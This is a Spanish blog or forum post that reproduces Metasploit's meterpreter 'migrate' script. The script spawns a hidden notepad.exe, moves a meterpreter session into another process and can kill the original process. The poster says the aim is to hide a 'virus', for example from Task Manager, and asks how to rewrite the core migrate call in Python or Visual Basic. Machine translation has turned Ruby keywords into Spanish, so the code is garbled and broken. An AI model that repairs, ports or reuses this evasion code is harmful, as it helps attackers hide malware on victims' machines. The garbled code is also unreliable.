Blog

Meterpreter Migrate Help Pls

##
# ADVERTENCIA: ** sploit ya no mantiene ni acepta scripts de meterpreter.
# Si desea mejorar este script, intente portarlo como una publicación
# módulo en su lugar. Gracias.
##

#
# Script de ejemplo simple que migra a un proceso específico por nombre.
# Esto es solo una ilustración.
#

spawn = falso
matar = falso
target_pid = nulo
target_name = nil

opts = Rex :: Analizador :: Argumentos.new (
“-h” => falso, “Menú de ayuda”. ,
“-f” => false, “Iniciar un proceso y migrar al nuevo proceso”,
“-p” => verdadero, “PID al que migrar.”,
“-k” => falso, “Elimina el proceso original.”,
“-n” => verdadero, “Migrar al primer proceso con este nombre ejecutable (explorer.exe)”
)

opts.parse (args) {| opt, idx, val |
caso optar
cuando “-f”
spawn = verdadero
cuando “-k”
matar = verdadero
cuando p”
objetivopid = val.toI
cuando “-n”
objetivonombre = val.tos
cuando h”
print_line (opts.usage)
subir Rex :: Script :: Completado
demás
print_line (opts.usage)
subir Rex :: Script :: Completado
final
}

# Crea un notepad.exe temporal para migrar dependiendo de la arquitectura.
def creartemperaturaproc ()
# Utilice la ruta del sistema para ejecutar el ejecutable
cmd = “notepad.exe”
# correr oculto
proc = client.sys.process.execute (cmd, nil, {‘Hidden’ => true})
return proc.pid
final

# En caso de que no se proporcione ninguna opción, mostrar ayuda
si args.length == 0
print_line (opts.usage)
subir Rex :: Script :: Completado
final

### Principal ###

if client.platform == ‘windows’
servidor = client.sys.process.open
original_pid = server.pid
print_status (“Proceso actual del servidor: # {server.name} (# {server.pid})”)

si engendra
print_status (“Proceso de generación de notepad.exe para migrar”)
objetivopid = creartemp_proc
final

si objetivonombre y no objetivopid
target_pid = client.sys.processtarget_name
si no es target_pid
impresiónstatus (“No se pudo identificar el ID de proceso para # {targetnombre}”)
subir Rex :: Script :: Completado
final
final

empezar
impresiónbueno (“Migrando a # {targetpid} “)
client.core.migrate (target_pid)
print_good (“Migrado exitosamente al proceso # {}”)
rescate :: Excepción => e
print_error (“No se pudo migrar al proceso”)
print_error (e)
final

si mata
impresiónstatus (“Eliminando el proceso original con PID # {originalpid} “)
client.sys.process.kill (original_pid)
impresióngood (“Proceso finalizado con éxito con PID # {originalpid} “)
final
final

– Metasploit

Amigos El código que ves arriba es un código tomado de metasploit en Linux. La mayoría de los usuarios de Metasploit saben que cuando lleva Payload al otro lado y lo escucha, puede ocultar su virus en lugares como el Administrador de tareas con el comando “migrar” o puede mostrarlo como otro programa.

He estudiado estos códigos y, en realidad, es un código sencillo con 96 líneas. De las 96 líneas de código, solo 1 línea hace el trabajo real.

en el código anterior hay una variable llamada “target_pid” y este es el valor del programa “PID” que queremos ocultar. Hasta ahora no tengo ningún problema con la responsabilidad principal de cómo hacer esto en Visual Basic o Python. ¿Qué es realmente client.core.migrate? En Python o Visual Basic ¿Cómo lo uso?

Lo siento, mi inglés puede ser malo.

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar